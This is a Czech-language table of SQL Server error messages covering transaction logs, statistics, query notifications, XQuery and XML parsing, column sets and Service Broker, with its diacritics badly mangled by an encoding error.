pChyby str�nky na str�nk�ch GAM, SGAM nebo PFS br�n� kontrol�m integrity alokace v ID datab�ze %1!s! na str�nk�ch od %2!s! do %3!s!. Ke zjiatn� pY�
iny prostudujte ostatn� chyby.

hProtokol nen� pro datab�zi %1!s! k dispozici. Zkontrolujte, zda protokol chyb opera
n�ho syst�mu neobsahuje souvisej�c� chybov� zpr�vy. Opravte chyby a znovu spusete datab�zi.

�Transak
n� protokol pro datab�zi %1!s! je pln�. Dovod: %2!s!.

��slo prohled�v�n� protokolu %1!s! pYedan� prohled�v�n� protokolu v datab�zi %2!s! nen� platn�. Tato chyba mo~e znamenat poakozen� dat nebo neshodu souboru protokolu (LDF) s datov�m souborem (MDF). Pokud chyba nastala pYi replikaci, vytvoYte publikaci znovu. Jinak, pokud je probl�m dosledkem chyby pYi spouatn�, provete obnoven� ze z�lohy.

�PYi zpracov�v�n� protokolu pro datab�zi %1!s! doalo k chyb. Pokud je to mo~n�, provete obnoven� ze z�lohy. Pokud z�loha nen� k dispozici, bude pravdpodobn nutn� protokol sestavit znovu.

xDo OpenRowset(DBLog, ...) se pYedal neplatn� parametr.

DU~ivatel nem� opr�vnn� pro dotaz na virtu�ln� tabulku DBLog. Toto opr�vnn� maj� pouze 
lenov� pevn� role serveru sysadmin a pevn� datab�zov� role db_owner.

(U~ivatel nem� opr�vnn� pro dotaz na soubory z�lohy s virtu�ln� tabulkou DBLog. Toto opr�vnn� maj� pouze 
lenov� pevn� role serveru sysadmin.

LPYi zpracov�n� protokolu pro datab�zi %1!s! doalo k chyb. Verze bloku sektoro protokolu %2!s! nen� podporov�na. Server povoluje verzi protokolu %3!s! a~ %4!s!.

�Z�znam protokolu s poYadov�m 
�slem polo~ky %1!s! je poakozen.

�PYi zpracov�n� protokolu pro datab�zi %1!s! doalo k chyb. Blok protokolu nemohl b�t deaifrov�n.

xProtokol datab�ze %1!s! nepovoluje u~ivatelsk� z�pisy.

<Sekvence virtu�ln�ho souboru protokolu 0x%1!s! u posunu 0x%2!s! bajto v souboru %3!s! je aktivn� a nelze ji pYepsat sekvenc� 0x%4!s! pro datab�zi %5!s!.

�Protokol datab�ze '%1!s! se pYi prob�haj�c�m zmenaov�n� nepodaYilo zvtait. Opakujte akci.

�Nelze pYijmout sekvenci virtu�ln�ho souboru protokolu 0x%1!s! pro datab�zi %2!s!, proto~e soubor %3!s! jeat neexistuje.

�Protokol nelze inicializovat, proto~e soubory protokolu nejsou pln form�tov�ny.

Protokol pro datab�zi %1!s! nelze zmenait, dokud nebudou vaechny sekund�rn� repliky pYesunuty za bod, ve kter�m byl protokol pYid�n.

�Protokol datab�ze %1!s! nelze roza�Yit, aby obsahoval prostor pro konsolidaci protokolu kliento.

�Funkce %1!s! nen� dosud implementov�na pro konsolidaci protokolu.

�Tato mo~nost datab�ze nen� k dispozici pro hostitelsk� datab�ze konsolidace protokolu.

�Hostitelsk� datab�ze (%1!s!) pro tuto klientskou datab�zi konsolidace protokolu (%2!s!) neumo~Huje z�pis.

8Protokol PMM pro datab�zi %1!s! je neplatn�. Tato chyba mo~e znamenat poakozen� dat. Pokud chyba pYetrv�v� pYi spouatn�, provete obnoven� ze z�lohy.

�Soubor prim�rn�ho protokolu %1!s! nejde vytvoYit ve svazku trval� hlavn� pamti.

$Soubor %1!s! nejde vytvoYit ve svazku trval� hlavn� pamti, proto~e nemo~e existovat v�ce ne~ jeden soubor protokolu v trval� hlavn� pamti.

�PERSISTENT_LOG_BUFFER jde vypnout, jenom kdy~ je datab�ze v jednou~ivatelsk�m re~imu.

Transakce v datab�zi %1!s! pYes�hla maxim�ln� velikost %2!s! bajto. Dala� pomoc z�sk�te na adrese http://aka.ms/sqldw_loglimit.

�Mo~nost PERSISTENT_LOG_BUFFER je u~ v datab�zi %1!s! zapnut�.

tPERSISTENT_LOG_BUFFER jde zapnout jen pro svazek DAX.

�Soubor %1!s! na vzd�len�m blokov�m zaY�zen� nejde inicializovat. Nativn� chyba je 0x%2!s!.

�Nejde na
�st identifik�tory URI z�lohy pro dotaz z�lohy protokolo z vlastnosti prostYedko infrastruktury BackupUris.

Pole Size a FixedVlfSize zadan� pro soubor protokolu jsou neplatn�. Zkontrolujte po~adavky na velikost pro pevn� protokol VLF.

�Nelze inicializovat komponenty po~adovan� pro v�pis z�znamo protokolu str�nky.

�Z�znam protokolu na 
�sle LSN %1!s! nen� z�znam protokolu str�nky.

�Vl�kno asynchronn�ho obnoven� se neo
ek�van ukon
ilo, n�stroj ke 
ten� protokolu xlog se vyp�n�.

�Bylo zjiatno mo~n� poakozen� indexu. Spusete pY�kaz DBCC CHECKDB.

<auto statistics internal

<auto statistics internal

lPoskytnut� datov� proud statistiky je poakozen�.

�Pro vstupn� datov� typ 0x%1!s! nen� podpora histogramu povolena.

N�zev %1!s! je neplatn�. PY�pona _readonly_database_statistic je vyhrazen�. Vyberte jin� n�zev bez pou~it� vyhrazen� pY�pony.

�Nastaven� tohoto typu statistik na pY�rostkov� nen� podporov�no.

�Bylo zad�no neplatn� 
�slo odd�lu %1!s! pro %2!s! %3!s!. �slo odd�lu mus� b�t v�rozsahu od 1 do %4!s!.

�VytvoYen� pY�rostkov�ch statistik se nezdaYilo. Spusete pY�kaz znovu.

�Syntaxe UPDATE STATISTICS ON PARTITIONS nen� pro nepY�rostkov� statistiky podporov�na.

�PY�rostkov� statistiky nejsou v t�to verzi syst�mu SQL Server podporov�ny.

�CREATE/UPDATE STATISTICS nen� na zadan� intern� tabulce podporov�no.

�PY�kaz CREATE/UPDATE STATISTICS selhal. Provete pY�kaz znovu.

�Statistiky streamov�n� narazily na chybu s tabulkou %1!s!.

Mo~nost %1!s! byla zad�na jako sou
�st syntaxe CREATE/UPDATE STATISTICS bez %2!s!. Tyto dv mo~nosti mus� b�t pou~ity spole
n.

�N�zev tabulky %1!s! pYekra
uje maxim�ln� d�lku 128 znako pro mo~nost %2!s!.

�N�zev statistiky %1!s! je poakozen� a mus� se vyYadit. Pokud se jedn� o statistiku indexu, mus� se index znovu sestavit.

`Zpr�va odbru ozn�men� dotazo je neplatn�.

�asov� limit pro odbr ozn�men� dotazo je neplatn�. Povolen� rozsah je 1 a~ 2147483647.

�U~ivatel %1!s! nem� opr�vnn� ~�dat o odbr ozn�men� dotazo pro datab�zi %2!s!.

�Ozn�men� dotazo %1!s! nelze odstranit, proto~e neexistuje nebo byl ji~ aktivov�n.

DOdbr ozn�men� dotazo nemohl z�skat koncov� bod dialogov�ho okna. Nelze otevY�t dialogov� okno slu~by Service Broker pro n�zev slu~by %1!s! a instanci %2!s!.

�Odbr ozn�men� dotazo nemohl otevY�t dialogov� okno s n�zvem slu~by %1!s! a instanc� zprostYedkovatele %2!s!.

�Doru
en� ozn�men� dotazo se nezdaYilo dek�dovat chybovou zpr�vu od slu~by Service Broker.

�Doru
en� ozn�men� dotazo se nezdaYilo zak�dovat zpr�vu. Doru
en� ozn�men� %1!s! se nezdaYilo.

�Byl dosa~en vnitYn� limit maxim�ln�ho po
tu objekto pro ozn�men� dotazo.

�Operace vy
iatn� odbro ozn�men� dotazo se nezdaYila. Podrobnja� informace naleznete v pYedchoz�ch chyb�ch.

VnitYn� tabulka ozn�men� dotazo m� zastaral� sch�ma a byla vyYazena. Vy
iatn� ozn�men� dotazo pro tuto tabulku nebylo provedeno.

�Xetzec identifik�toru mo~nost� ozn�men� m� %1!s! znako. Maxim�ln� povolen� d�lka je %2!s! znako.

Xetzcov� hodnota v identifik�toru mo~nost� ozn�men� je pY�lia dlouh�. Xetzec s pYedponou %1!s! mus� m�t %2!s! nebo m�n znako.

�Byla nalezena lich� uvozovka v Yetzci identifik�toru mo~nost� ozn�men�.

�V mo~nostech identifik�toru mo~nost� ozn�men� je o
ek�v�n n�zev.

�V identifik�toru mo~nost� ozn�men� je nezn�m� n�zev mo~nosti %1!s!. Platn� jsou n�sleduj�c� n�zvy mo~nost�: Service, Broker Instance, Local Database. N�zvy mo~nost� nesmj� b�t v uvozovk�ch.

�Mo~nost %1!s! byla do identifik�toru mo~nost� ozn�men� zad�na nkolikr�t.

�Za n�zvem mo~nosti byl o
ek�v�n znak rovn� se (=). Nam�sto nj byl nalezen znak %1!s!.

K oddlen� mo~nost� v identifik�toru mo~nost� ozn�men� je nutn� pou~�t stYedn�k (;). Za jednou mo~nost� byl nalezen Yetzec %1!s!.

�V identifik�toru mo~nost� ozn�men� mus� b�t zad�na mo~nost Service.

�V identifik�toru mo~nost� ozn�men� byly sou
asn zad�ny mo~nosti Broker Instance a Local Database.

�V identifik�toru mo~nost� ozn�men� nebyla nalezena hodnota mo~nosti %1!s!.

`Datab�ze %1!s! nen� platn� m�stn� datab�ze.

|Datab�ze %1!s! nen� platn� zprostYedkovatelsk� datab�ze.

 Nen� povolen odbr ozn�men� dotazo v r�mci kontextu aktivn� aplika
n� role. Zva~te nov� vyd�n� ~�dosti o odbr bez aktivace aplika
n� role.

�Chyba ozn�men� vnitYn�ch dotazo: Nekonzistence byla opravena syst�mem uvolHov�n� pamti.

xDialogov�ho okno %1!s! slu~by Service Broker nebylo mo~n� zavY�t, proto~e datab�ze s ID %2!s! nen� dostupn�. Zva~te mo~nost zavY�t dialogov� okna ru
n, a~ bude datab�ze k dispozici.

8Vy
iatn� ozn�men� dotazo se nezdaYilo z�skat pY�stup k metadatom pro datab�zi %1!s!. Zkontrolujte, zda byla datab�ze �span obnovena a zda je online.

�Bhem posledn�ho 
asov�ho intervalu potla
eny chyby ozn�men� dotazo (%1!s!).

�%1!s!V t�to verzi serveru pYij�m� funkce fn:id() pouze argument typu IDREF *.

�%1!s!V t�to verzi serveru nen� k dispozici forma pY�kazu cast as <typ> %2!s!. Pou~ijte syntaxi cast as <type> ?.

�%1!s!Polo~ka kontextu, ve kter� je pou~ita funkce fn:id(), mus� b�t uzel.

�%1!s!Chyba syntaxe v bl�zkosti polo~ky %2!s!. O
ek�v�na syntaxe %3!s!.

�%1!s!Tato verze serveru podporuje pouze jazyk XQuery verze 1.0.

�%1!s!Jako c�l pY�kazu instance of jsou podporov�ny pouze n�zvy typo n�sledovan� znakem ?.

�%1!s!C�l polo~ky replace value of nesm� b�t sjednocovac� typ. Nalezena hodnota %2!s!.

D%1!s!Argument funkce %2!s! mus� b�t jedin� 
�seln� primitivn� typ nebo http://www.w3.org/2004/07/xpath-datatypes#untypedAtomic. Nalezen argument typu %3!s!.

�%1!s!C�l polo~ky replace value of nesm� b�t http://www.w3.org/2001/XMLSchema#anySimpleType. Nalezen typ %2!s!.

�%1!s!Klauzule with pY�kazu replace value of nemo~e obsahovat konstruovan� jazyk XML.

�%1!s!Heterogenn� sekvence nejsou povoleny v objektu %2!s!, nalezeno %3!s! a %4!s!.

%1!s! Polo~ka %2!s! nen� podporov�na v elementech jednoduch�ho typu nebo typu http://www.w3.org/2001/XMLSchema#anyType, nalezeno %3!s!.

�%1!s!Tato verze serveru nepodporuje v atributu konstruktoru v�ce v�razo ani v�razy kombinovan� s Yetzci.

@%1!s!Nelze implicitn atomizovat nebo pou~�t pY�kaz fn:data() v pY�pad elemento se slo~it�m obsahem. Byl nalezen typ %2!s! v r�mci odvozen�ho typu %3!s!.

�%1!s!Ve v�razu n�zvu po
�tan�ho elementu a konstruktoru atributu jsou podporov�ny pouze konstantn� v�razy.

�%1!s!Ve v�razu n�zvu po
�tan�ho konstruktoru atributu nelze pou~�t hodnotu xmlns.

�%1!s!Chyba syntaxe v bl�zkosti polo~ky %2!s!. Byl o
ek�v�n Yetzcov� liter�l.

�%1!s!Chyba syntaxe ve znaku zdroje 0x%2!s! v bl�zkosti polo~ky %3!s!. Byl o
ek�v�n Yetzcov� liter�l.

�%1!s!Statick� ovYen� jednoduch�ho typu: Neplatn� hodnota jednoduch�ho typu %2!s!.

�%1!s!V�sledek pou~it� nadYazen� osy na uzel dokumentu je statisticky pr�zdn�.

�%1!s!V�sledek pou~it� nadYazen�ho objektu::%2!s! je statisticky pr�zdn�.

�%1!s!Dva po sob n�sleduj�c� znaky   lze v konstruktoru koment�Ye pou~�t pouze v pY�pad, ~e uzav�raj� koment�Y ("-->").

�%1!s!Pou~it� znaku : v n�zvech promnn�ch nen� v t�to verzi serveru podporov�no.

%1!s! Nalezen znak } bez odpov�daj�c�ho znaku {. Pokud chcete pou~�vat znaky { nebo }, je nutn� je pou~�t jako Y�d�c� znaky {{ nebo }}.

�%1!s!Po
�tan� konstruktory pY�kazo pro zpracov�n� nejsou podporov�ny.

�%1!s!Po
�tan� konstruktory pokyno pro koment�Ye nejsou podporov�ny.

�%1!s!Vaechny polo~ky prologu mus� kon
it znakem ;, nalezeno %2!s!.

t%1!s!Byla o
ek�v�na specifikace typu, nalezeno %2!s!.

�%1!s!V objektu %2!s! jsou povoleny pouze porovnateln� typy, nalezeno %3!s!.

�%1!s!Chyba syntaxe v bl�zkosti polo~ky %2!s!. Byla o
ek�v�na syntaxe %3!s! nebo %4!s!.

�%1!s!Chyba syntaxe v bl�zkosti polo~ky %2!s!. Byla o
ek�v�na syntaxe where, (stable) order by, nebo return.

�%1!s!Funkce //, po kter� n�sleduj� osy self, parent nebo descendant-or-self, nen� podporov�na v pY�pad elemento jednoduch�ho typu nebo typu http://www.w3.org/2001/XMLSchema#anyType, nalezeno %2!s!.

�%1!s!Atribut form nelze zadat do m�stn� definice elementu nebo atributu, kter� m� atribut ref. Um�stn�: %2!s!.

p%1!s!Syntaxe v�razu XQuery %2!s! nen� podporov�na.

l%1!s!Syntaxe sch�matu XML %2!s! nen� podporov�na.

h%1!s!Sch�ma XML typu NOTATION nen� podporov�no.

�%1!s!Hodnota atributu deklarace oboru n�zvo mus� b�t Yetzcov� liter�l. Nesm� obsahovat v�razy.

�%1!s!Atribut form nemo~e b�t zad�n do glob�ln� definice elementu nebo atributu. Um�stn�: %2!s!.

�%1!s!Explicitn� import aktu�ln�ho c�lov�ho oboru n�zvo je neplatn�. Odkazy na polo~ky v aktu�ln�m c�lov�m oboru n�zvo, kter� u~ byly na
teny do kolekce sch�mat, budou implicitn pYelo~eny.

�%1!s!Chyba syntaxe v bl�zkosti polo~ky %2!s!. Byl o
ek�v�n v�raz kroku.

%1!s!Instance jazyka XML je podporov�na pouze jako pY�m� zdroj vkl�d�n�, kter� pou~�v� funkce sql:column nebo sql:variable.

�%1!s!Instance XML, odkazovan� funkcemi sql:column() a sql:variable(), mus� b�t netypov� k�d XML, nebo mus� b�t zad�na se stejnou kolekc� sch�mat XML jako instance kontextu XML, na kterou je aplikov�na metoda XML.

�%1!s!Typ SQL %2!s! nen� podporov�n s funkcemi sql:column() a sql:variable().

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, neo
ek�van� konec vstupu

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nerozpoznan� k�dov�n�

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nelze pYepnout k�dov�n�

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nerozpoznan� podpis zad�n�

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, byl o
ek�v�n pr�zdn� znak

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, byl o
ek�v�n stYedn�k

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, byl o
ek�v�n znak >

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, byl o
ek�v�n Yetzcov� liter�l

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, byl o
ek�v�n znak rovn� se

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, kontrola spr�vnosti form�tu: chyb� znak < v hodnot atributu

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, byla o
ek�v�na aestn�ctkov� 
�slice

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, byla o
ek�v�na des�tkov� 
�slice

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, byl o
ek�v�n znak [

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, byl o
ek�v�n znak (

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, neplatn� znak XML

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, neplatn� znak name

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nespr�vn� syntaxe dokumentu

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nespr�vn� syntaxe odd�lu CDATA

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nespr�vn� syntaxe koment�Ye

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nespr�vn� syntaxe podm�nkov�ho odd�lu

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nespr�vn� syntaxe deklarace ATTLIST

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nespr�vn� syntaxe deklarace DOCTYPE

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nespr�vn� syntaxe deklarace ELEMENT

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nespr�vn� syntaxe deklarace ENTITY

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nespr�vn� syntaxe deklarace NOTATION

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, byla o
ek�v�na data NDATA

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, byl o
ek�v�n atribut PUBLIC

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, byl o
ek�v�n atribut SYSTEM

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, byl o
ek�v�n n�zev

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, jeden koYenov� element

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, koncov� zna
ka neodpov�d� po
�te
n� zna
ce

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, duplicitn� atribut

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, text nebo xmldecl nen� na za
�tku vstupu

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, obory n�zvo za
�naj�c� na xml jsou vyhrazeny

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nespr�vn� syntaxe deklarace text

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nespr�vn� syntaxe deklarace XML

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nespr�vn� syntaxe n�zvu k�dov�n�

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nespr�vn� syntaxe veYejn�ho identifik�toru

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, kontrola spr�vnosti form�tu: odkaz PEs ve vnitYn� podmno~in

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, kontrola spr�vnosti form�tu: odkaz PEs mezi deklaracemi

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, kontrola spr�vnosti form�tu: ~�dn� rekurze

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, obsah entity nen� ve spr�vn�m form�tu

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, kontrola spr�vnosti form�tu: entita nebyla deklarov�na

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, kontrola spr�vnosti form�tu: analyzovan� entita

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, kontrola spr�vnosti form�tu: ~�dn� extern� odkazy entity

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nespr�vn� syntaxe pY�kazu pro zpracov�n�

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nespr�vn� syntaxe syst�mov�ho identifik�toru

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, byl o
ek�v�n znak ?

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, v obsahu elementu nen� znak ]]>

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, neplatn� znak kvalifikovan�ho n�zvu

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, kvalifikovan� n�zev obsahuje v�ce dvojte
ek

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, dvojte
ka v n�zvu

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, pYedpona pYedeklarov�na

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, pYedpona nebyla deklarov�na

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, obor n�zvo jin� ne~ v�choz� s pr�zdn�m identifik�torem URI

Spouat� se k�d XML %1!s! s polo~kou %2!s! o d�lce %3!s! znako, 
�m~ pYekra
uje povolenou d�lku. Maxim�ln� povolen� d�lka je %4!s! znako.

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nebyly pYe
teny vaechny bloky hodnot

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, hodnota xml:space je neplatn�

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, pYedpona n�zvu oboro XML xml mo~e b�t pYidru~ena pouze k identifik�toru URI http://www.w3.org/XML/1998/namespace. Tento identifik�tor URI nelze kombinovat s dala�mi pYedponami.

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, pYedpona n�zvu oboro XML xmlns je vyhrazena pro jazyk XML.

@Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, identifik�tor URI n�zvu oboro XML (http://www.w3.org/XML/1998/namespace) sm� b�t pYiYazen pouze k pYedpon xml.

,Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, identifik�tor URI n�zvu oboro xmlns (http://www.w3.org/2000/xmlns/) je vyhrazen a nesm� b�t pou~�v�n.

�Anal�za k�du XML: Y�dek %1!s!, znak %2!s!, nepodporovan� form�t XML

tDatov� typ %1!s! pou~it� v metod VALUE je neplatn�.

�Jazyk XQuery: Nelze pYelo~it funkci sql:variable(%1!s!). Promnn� mus� b�t deklarov�na jako skal�rn� promnn� TSQL.

�Xetzcov� liter�l poskytnut� pro argument %1!s! metody %2!s! nesm� pYes�hnout velikost %3!s! bajto.

PChyby a upozornn�, kter� se objevily pYi zpracov�n� pY�kazu XQuery pro metodu datov�ho typu XML %1!s!. Dala� informace naleznete v pYedchoz�ch chybov�ch zpr�v�ch.

�Chyby a upozornn�, kter� se objevily pYi zpracov�n� pY�kazu XQuery pro metodu datov�ho typu XML %1!s!, volan� ve sloupci %2!s!, tabulka %3!s!. Dala� informace naleznete v pYedchoz�ch chybov�ch zpr�v�ch.

�Metoda XMLDT %1!s! mo~e b�t vol�na pouze ve sloupc�ch typu XML.

Metoda datov�ho typu XML na vzd�len�m sloupci, kter� byla pou~ita v dotazu, nemo~e b�t spuatna m�stn ani vzd�len. PYepiate dotaz.

�Parametr odkazu, poskytnut� metod XMLDT %1!s!, byl vygenerov�n v jin� instanci XML ne~ v jak� je pou~�v�n.

�Metoda XMLUNNEST vy~aduje zadan� sloupec xml s jedn�m glob�ln�m elementem.

�Tato funkce nebyla jeat implementov�na: Metoda XMLNODEREFS nemo~e pou~�vat odkazy zveYejnn� zobrazen�mi.

�Datov� typ XML nen� podporov�n jako parametr pro vzd�len� vol�n�.

8PYi zpracov�n� metody datov�ho typu XML %1!s! doalo k chyb. N�sleduj�c� mo~nosti SET, po~adovan� metodami datov�ho typu XML, nejsou nastaveny: %2!s!.

�Datov� typ XML nen� podporov�n v distribuovan�ch dotazech. Vzd�len� objekt %1!s! m� sloupce XML.

�Sch�ma XML bylo zmnno nebo vyYazeno a pl�n dotazu ji~ nen� platn�. Spusete znovu d�vku dotazu.

�Jazyk XQuery: N�zev (nebo jedna z 
�st� n�zvu o v�ce 
�stech) zadan� do objektu %1!s!(%2!s!) je pr�zdn�. Pr�zdn� n�zvy nemohou b�t pou~ity k identifikaci objekto, sloupco nebo promnn�ch v jazyce SQL.

�XQuery: N�zev (nebo jedna z 
�st� n�zvu o v�ce 
�stech) za
�naj�c� na %1!s! a pYedan� funkci %2!s!() nen� platn� identifik�tor SQL, proto~e je pY�lia dlouh�. Maxim�ln� d�lka je %3!s!, skute
n� d�lka je %4!s!.

TXQuery: N�zev (nebo jedna z 
�st� n�zvu o v�ce 
�stech) za
�naj�c� na %1!s! a pYedan� funkci %2!s!() nen� platn� identifik�tor SQL, proto~e obsahuje neplatn� znaky.

\Jazyk XQuery: Zadan� n�zev promnn� sql:variable(%1!s!) nen� platn� n�zev promnn� SQL. N�zvy promnn�ch mus� za
�nat symbolem @, za kter�m n�sleduje nejm�n jeden znak.

�Jazyk XQuery: N�zev %1!s!, na kter� odkazuje funkce sql:variable(), nen� platn� n�zev syst�mov� funkce.

PYi zpracov�n� datov�ho typu XML doalo k chyb. Instance datov�ho typu XML obsahuje negativn� hodnotu xs:date nebo xs:dateTime.

�Metoda XQuery modify nen� povolena u sad zhuatn�ch sloupco.

HNelze aktualizovat sadu zhuatn�ch sloupco %1!s!, proto~e obsah XML obsahoval odkazy na nezhuatn� sloupec %2!s!, kter� nepatY� k t�to sad zhuatn�ch sloupco. Obsah XML, kter� se pou~�v� k aktualizaci sady zhuatn�ch sloupco, nemo~e odkazovat na sloupce, kter� nepatY� do sady sloupco.

�Poskytnut� obsah XML nevyhovuje po~adavkom form�tu XML pro sady zhuatn�ch sloupco.

�Obsah XML poskytnut� pro sadu zhuatn�ch sloupco %1!s! obsahuje duplicitn� odkaz na sloupec %2!s!. V obsahu XML poskytnut�m sad zhuatn�ch sloupco mo~e b�t na ka~d� sloupec odk�z�no pouze jednou.

@Obsah XML poskytnut� sad zhuatn�ch sloupco %1!s! obsahuje na elementu %3!s! hodnotu atributu %2!s!, kter� je mimo rozsah. Platn� rozsah je od 1 do %4!s!.

xObsah XML poskytnut� sad sloupco %1!s! obsahuje na elementu %2!s! hodnotu atributu sqltypes:scale, kter� je mimo rozsah. Platn� hodnota pro toto mY�tko je od 0 do zadan� pYesnosti.

dObsah XML poskytnut� sad sloupco %1!s! obsahuje neplatnou hodnotu atributu %2!s! na elementu %3!s!. Atribut je platn� pouze pro zhuatn� sloupce datov�ho typu sql_variant.

$Obsah XML poskytnut� sloupci %1!s! v sad sloupco obsahuje na elementu %2!s! atribut sqlDBType:base64Encoded, kter� je neplatn�. Atribut base64Encoded lze pou~�t pouze tehdy, je-li odpov�daj�c� zhuatn� sloupec datov�ho typu textov�ch dat (char, varchar, nchar, nvarchar), nebo pokud je zhuatn� sloupec datov�ho typu sql_variant a hodnota atributu xsi:type je Char, VarChar, NChar, nebo NVarChar.

Obsah XML poskytnut� sloupci %1!s! v sad sloupco obsahuje neplatnou hodnotu atributu %2!s! na elementu %3!s!. Odeberte atribut.

�Obsah XML poskytnut� sloupci %1!s! v sad sloupco obsahuje neplatnou hodnotu atributu %2!s! na elementu %3!s!.

4V operaci DML nebo dotazu zahrnuj�c�m sadu sloupco %1!s! doalo k chyb pYevodu pYi pYevodu datov�ho typu %2!s! na datov� typ %3!s! pro sloupec %4!s!.

|V obsahu XML poskytnut�m sad sloupco %1!s! se nach�z� element %2!s!, kter� by ml b�t um�stn v glob�ln�m oboru n�zvo. Odeberte v�choz� deklaraci oboru n�zvo nebo pYedponu na elementu.

�V operaci DML nebo dotazu zahrnuj�c�m sadu sloupco %1!s! doalo k chyb pYevodu pYi pYevodu datov�ho typu %2!s! na datov� typ %3!s! pro sloupec %4!s!. Na webu Knihy online naleznete podrobnja� informace o metod�ch pYevodu k�du XML pro typy CLR.

<Pro netypov� k�d XML nen� povoleno zad�n� mo~nosti MAXLENGTH nebo SINGLETON, pokud ji~ nen� ur
en typ XSD pro cestu %1!s! selektivn�ho indexu XML %2!s!.

�Pro stejn� n�zev cesty nelze zadat pY�kaz REMOVE %1!s! v�ce ne~ jednou v pY�kazu ALTER pro selektivn� index XML %2!s!.

�Dv cesty indexovan� selektivn�m indexem XML %1!s! v tabulce %2!s! by mly m�t stejn� n�zev cesty s novou kolac�.

<Cesty se stejn�m v�razem cesty indexovan� selektivn�m indexem XML %1!s! by mly m�t mo~nost SINGLETON zadanou pro ka~dou z nich, nebo pro ~�dnou z nich.

�Funkce selektivn�ho indexu XML nen� pro aktu�ln� verzi datab�ze podporov�na.

�Nelze vytvoYit relaci s objektem %1!s! %2!s!, proto~e je to objekt %3!s!.

�Syst�mov� �loha nebyla spuatna; k�d chyby: %1!s!, stav: %2!s!.

�Priorita konverzace s identifik�torem %1!s! byla odpojena.

�Priorita konverzace s identifik�torem %1!s! odkazuje na chybj�c� slu~bu s identifik�torem %2!s!.

�Priorita konverzace s identifik�torem %1!s! odkazuje na chybj�c� kontrakt slu~by s identifik�torem %2!s!.

�N�zev %2!s! objektu %1!s! obsahuje v�ce ne~ maxim�ln� po
et pYedpon. Maxim�ln� po
et: %3!s!.

�Slu~ba %1!s! v klauzuli FROM SERVICE mus� odpov�dat slu~b %2!s!, na kterou odkazuje polo~ka %3!s! = polo~ka %4!s!.

XNelze nal�zt zadan�ho u~ivatele %1!s!.

�Nelze aktivovat frontu %1!s!, proto~e nen� zad�n aktiva
n� u~ivatel.

�Nelze aktivovat frontu %1!s!, proto~e ulo~en� aktiva
n� procedura nen� zad�na nebo je neplatn�.

HOvYen� XML zpr�vy typu %1!s! se v c�lov� slu~b nezdaYilo. %2!s! Doalo k tomu ve zpr�v s ID konverzace %3!s!, inici�tor: %4!s!, poYadov� 
�slo zpr�vy: %5!s!.

<Byla pYijata zpr�va typu %1!s!, ovYen� XML selhalo. %2!s! Doalo k tomu ve zpr�v s ID konverzace %3!s!, inici�tor: %4!s!, poYadov� 
�slo zpr�vy: %5!s!.

`Fronta slu~by %1!s! je moment�ln zak�z�na.

Zpr�va nemohla b�t odesl�na, proto~e fronta slu~by %1!s! pYidru~en� k dialogu je moment�ln zak�z�na a uchov�n� je zapnuto.

�Vytv�Yen� vazby vzd�len� slu~by %1!s! selhalo. Vazba vzd�len� slu~by pro slu~bu %2!s! ji~ existuje.

�Aktivace ulo~en� procedury %1!s! je neplatn�. Funkce nejsou povoleny.

